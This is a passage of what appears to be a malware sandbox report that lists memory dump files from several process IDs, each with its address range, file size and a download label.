memory/4560-77-0x0000000009D00000-0x0000000009D1E000-memory.dmp

Filesize
120KB

Download
memory/4560-73-0x0000000009D20000-0x0000000009D53000-memory.dmp

Filesize
204KB

Download
memory/4560-14-0x00000000079B0000-0x0000000007D00000-memory.dmp

Filesize
3.3MB

Download
memory/4640-1260-0x0000000007F00000-0x0000000008250000-memory.dmp

Filesize
3.3MB

Download
memory/4640-1262-0x00000000089D0000-0x0000000008A1B000-memory.dmp

Filesize
300KB

Download
memory/4640-1281-0x000000006FEE0000-0x000000006FF2B000-memory.dmp

Filesize
300KB

Download
memory/4640-1287-0x0000000009A10000-0x0000000009AB5000-memory.dmp

Filesize
660KB

Download
memory/4640-1282-0x000000006FF30000-0x0000000070280000-memory.dmp

Filesize
3.3MB

Download
memory/4952-801-0x0000000070080000-0x00000000703D0000-memory.dmp

Filesize
3.3MB

Download
memory/4952-800-0x0000000070030000-0x000000007007B000-memory.dmp

Filesize
300KB

Download
memory/4980-1022-0x00000000078F0000-0x0000000007C40000-memory.dmp

Filesize
3.3MB

Download
memory/4980-1024-0x0000000008070000-0x00000000080BB000-memory.dmp

Filesize
300KB

Download
memory/4980-1044-0x0000000070000000-0x0000000070350000-memory.dmp

Filesize
3.3MB

Download
memory/4980-1049-0x0000000009590000-0x0000000009635000-memory.dmp

Filesize
660KB

Download
memory/4980-1043-0x000000006FF90000-0x000000006FFDB000-memory.dmp

Filesize
300KB

Download